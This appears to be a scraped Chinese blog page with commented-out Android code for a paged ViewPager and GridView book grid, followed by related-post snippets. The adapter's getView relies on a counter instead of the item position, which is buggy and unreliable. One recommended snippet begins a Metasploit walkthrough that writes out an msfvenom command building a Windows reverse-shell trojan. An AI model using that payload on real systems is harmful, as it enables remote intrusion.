//}
//public class MainActivity extends Activity {
// private static final float APP_PAGE_SIZE = 16.0f;
// private MyViewPagerAdapter adapter;
// private ArrayListarray;
// private ViewPager viewPager;
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_main);
// initViews();
// viewPager = (ViewPager)findViewById(R.id.myviewpager);
// adapter = new MyViewPagerAdapter(this, array);
// viewPager.setAdapter(adapter);
// }
//
// public void initViews() {
// final PackageManager packageManager = getPackageManager();
// final Intent mainIntent = new Intent(Intent.ACTION_MAIN, null);
// mainIntent.addCategory(Intent.CATEGORY_LAUNCHER);
// // get all apps
// final List apps = packageManager.queryIntentActivities(mainIntent, 0);
// // the total pages
// final int PageCount = (int)Math.ceil(apps.size()/APP_PAGE_SIZE);
// array = new ArrayList();
// for (int i=0; i
// GridView appPage = new GridView(this);
// appPage.setAdapter(new AppAdapter(this, apps, i));
// appPage.setNumColumns(4);
// array.add(appPage);
// }
//} /****************************************************************************************************************************/
//
// private static final String TAG = "GridViewPagerAdapter";
// HomepageListModel.BookArray bookArray;
// private Context context;
// private LayoutInflater inflater;
// TrackPresenter trackPresenter;
// int index = 0;
//
// public GridViewPagerAdapter(Context context, HomepageListModel.BookArray bookArray) {
// this.bookArray = bookArray;
// this.context = context;
// inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
// this.trackPresenter = new TrackPresenter();
// }
//
// /***
// * 获取滑动的控件数量
// * @return
// */
// @Override
// public int getCount() {
// return bookArray.books.size() % 6 == 0 ? bookArray.books.size() / 6 : (bookArray.books.size() / 6 + 1);
// }
//
//
// /***
// * 判断是否显示的控件是否是一同个图片,这里将两个参数比较返回即可。
// * @param view
// * @param object
// * @return
// */
// @Override
// public boolean isViewFromObject(View view, Object object) {
// return view == object;
// }
//
// /***
// * PagerAdapter只缓存三张要显示的图片,如果滑动的图片超出了缓存的范围,就会调用这个方法,将图片销毁
// * @param container
// * @param position
// * @param object
// */
// @Override
// public void destroyItem(ViewGroup container, int position, Object object) {
// container.removeView(container.getRootView());
// }
//
//
// @Override
// public Object instantiateItem(ViewGroup container, int position) {
// View contentView = inflater.inflate(R.layout.gridview_root, null);
// GridView gridviewRoot = (GridView) contentView.findViewById(R.id.grid_view);
// gridviewRoot.setAdapter(new GridViewAdapter(bookArray, position));
//
// ((ViewPager) container).addView(contentView);
// return contentView;
// }
//
//
// class GridViewAdapter extends BaseAdapter {
//
// ArrayList<HomepageListModel.Book> bookList;
//
// private int psition;
//
//
//
// public GridViewAdapter(HomepageListModel.BookArray bookArray, int position) {
// this.bookList = bookArray.books;
// this.psition = position;
// }
//
// @Override
// public int getCount() {
// int page = bookList.size() % 6 == 0 ? bookList.size() / 6 : (bookList
// .size() / 6 + 1);
// if ((page - 1) > psition) {
// return 6;
// } else if (bookList.size() % 6 == 0) {
// return 6;
// } else {
// return bookList.size() % 6;
// }
// }
//
// @Override
// public Object getItem(int position) {
// return bookList.get(position);
// }
//
// @Override
// public long getItemId(int position) {
// return position;
// }
//
// @Override
// public View getView(final int position, View convertView, ViewGroup parent) {
// GridItemViewHolder viewHolder = null;
// if (convertView == null) {
// viewHolder = new GridItemViewHolder();
// convertView = inflater.inflate(R.layout.grid_view_item, null);
//
// convertView.setTag(viewHolder);
// } else {
// viewHolder = (GridItemViewHolder) convertView.getTag();
// }
//
// viewHolder.linearLayout = (LinearLayout) convertView.findViewById(R.id.item_grid_linear);
// viewHolder.imageView = (ImageView) convertView.findViewById(R.id.item_grid_img);
// viewHolder.textName = (TextView) convertView.findViewById(R.id.item_grid_name_tv);
// viewHolder.textAuthor = (TextView) convertView.findViewById(R.id.item_grid_author_tv);
//
// PicassoUtils.loadBookPic(context, bookList.get(index).bookThumb, viewHolder.imageView);
//
// viewHolder.textName.setText(bookList.get(index).bookTitle);
// viewHolder.textAuthor.setText(bookList.get(index).bookAuthor);
//
// viewHolder.linearLayout.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// trackPresenter.updateModel(context, bookList.get(index).jTrackParams);
// MyApp.getApp().startBookDetail(context, bookList.get(index).bookId);
// }
// });
//
// index++;
//
// //打印数据
// BKLog.e(TAG, "---" + index);
// return convertView;
// }
// }
//
// static class GridItemViewHolder {
// ImageView imageView;
// TextView textName;
// TextView textAuthor;
// LinearLayout linearLayout;
// }

Adroid ViewPage+GridView实现每页6个元素,三页滑动切换的更多相关文章

  1. word2013 如何设置从第三页开始编码 或 如何设置封面页和正文页页码不连续

    首先说明一下 “分节符”作用,它就是用来将整个文档分节的,添加一个分节符,文档就分成1.2两节:添加两个分节符,文档就分成1.2.3节. 当前页面具体是第几节,可以通过点击页眉页脚来查看: 从第三页开 ...

  2. GridView自带分页 1总页数 首页 下一页 上一页 尾页 X 页 go 实现方法 .

    在前台GRIDVIEW中添加如下代码 <PagerTemplate> <table> <tr> <td style="text-align: rig ...

  3. GridView自定义分页样式(上一页,下一页,到第几页)

    今天要为网站做一个文章列表,发现GridView的分页样式很难看,于是结合网上的例子,自己做了一个.不是很美观,不过还是很实用的,先看下效果吧,如图(1). 图(1)GridView分页效果 自定义G ...

  4. 为dedecms文章列表页标题增加序号,第二页开始才显示第x页

    想必大伙建站都会写文章,随着时间的推移,你的智慧结晶会越来越多,一般的建站程序早帮你想好了,把这些文章做成一个列表,比如dedecms栏目列表,便于观众浏览,但有个问题就是dedecms文章列表页标题 ...

  5. SharePoint 2007 列表页定制--4个默认页定制

    以"简单的领导简介"为例,欢迎大家指正 背景:项目中需要有领导简介的模块,就开始制作领导简介,本来很简单,有一个列表就可以,然后在前台展示出来,但是客户看到我们的效果,尤其输入领导 ...

  6. 两个标签页定位第二个标签页元素时显示element not visible

    问题描述 web页面有两个标签页, 当转换到第二个标签页定位元素时, 显示element not visible. 代码 ... //省略 WebElement ele= browser.getEle ...

  7. SQL-55 分页查询employees表,每5行一页,返回第2页的数据

    题目描述 分页查询employees表,每5行一页,返回第2页的数据CREATE TABLE `employees` (`emp_no` int(11) NOT NULL,`birth_date` d ...

  8. word怎样从第三页开始设置页码

    一般的文件都是有封面,目录.然后才是正文.所以基本上第一页的封面,第二页是目录,第三页才是正文的开始.但是默认的页码会从第一页开始的,封面上海有页码这会很难看,今天和小编一起来看看怎样将页码从第三页开 ...

  9. mxonline实战11,课程详情页2,课程章节页

    对应github地址:第11天   一. 课程详情页2   1. 课程详情页第2块中的课程介绍中,修改course-detail.html中代码,搜索课程详情,找到如下代码

随机推荐

  1. 【渗透测试】Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  2. 吴裕雄--天生自然SSH框架开发:搭建一个完整的SSH框架

    下载jar包 spring框架的jar包:https://repo.spring.io/ hibernate框架的jar包:http://hibernate.org/orm/ struts2框架的ja ...

  3. sqlserver数据将多个表或视图的数据合并到一个表或视图里的sql语句

    create view dbo.V_ZDUser_DDasselect * from dbo.V_ZDUser_DD1 union all select * from dbo.V_ZDUser_DD2 ...

  4. spring boot+jwt 权限验证

    上周看了一下jwt以前公司的开发都是使用session共享的方法.现在主流的两种方式一种是把登录信息保存在服务器,另一种则是把信息保存在客户端.在使用session 存储的时候会遇到很多的问题,随着项 ...

  5. Dart语言学习(十一) Dart异常处理

    异常是表示发生了意外的错误,如果没有捕获异常,引发异常的隔离程序将被挂起,并且程序将被终止: Dart代码可以抛出并捕获异常,但与java相反,Dart的所有异常都是未检查的异常,方法不声明它们可能抛 ...

  6. Plastic Sprayer Manufacturer - Sprayer: How Does It Work?

    The    Plastic Sprayers Manufacturer     states that a sprayer is a device that uses a basic pump me ...

  7. 了解js闭包

    定义:闭包是由函数以及创建该函数的环境组合而成.这个环境包含了这个闭包创建时所能访问的所有局部变量 理解:能够读取其他函数的内部变量的函数,并开辟新的作用域(环境) 例子1 function pare ...

  8. pymongo 用户密码连接

    # db mongodbdb_mongo_attr = { 'host': '*', 'port': 27, 'database':'tease', 'username':'*v', 'passwor ...

  9. python学习记录(持续更新)--最最最基础的一部分(方法,异常处理,注释,类)

    写在前面 本系列教程针对有一定编程经验的伙伴快速入门python基础,一些涉及开发的常识问题,本文并不涉及. 方法 function def greet_user(name): print(f'Hi ...

  10. git pull解决冲突

    git报错:Please commit your changes or stash them before you merge. 解决:1.不需要保留本地修改的话,直接将有冲突的文件还原再pull:g ...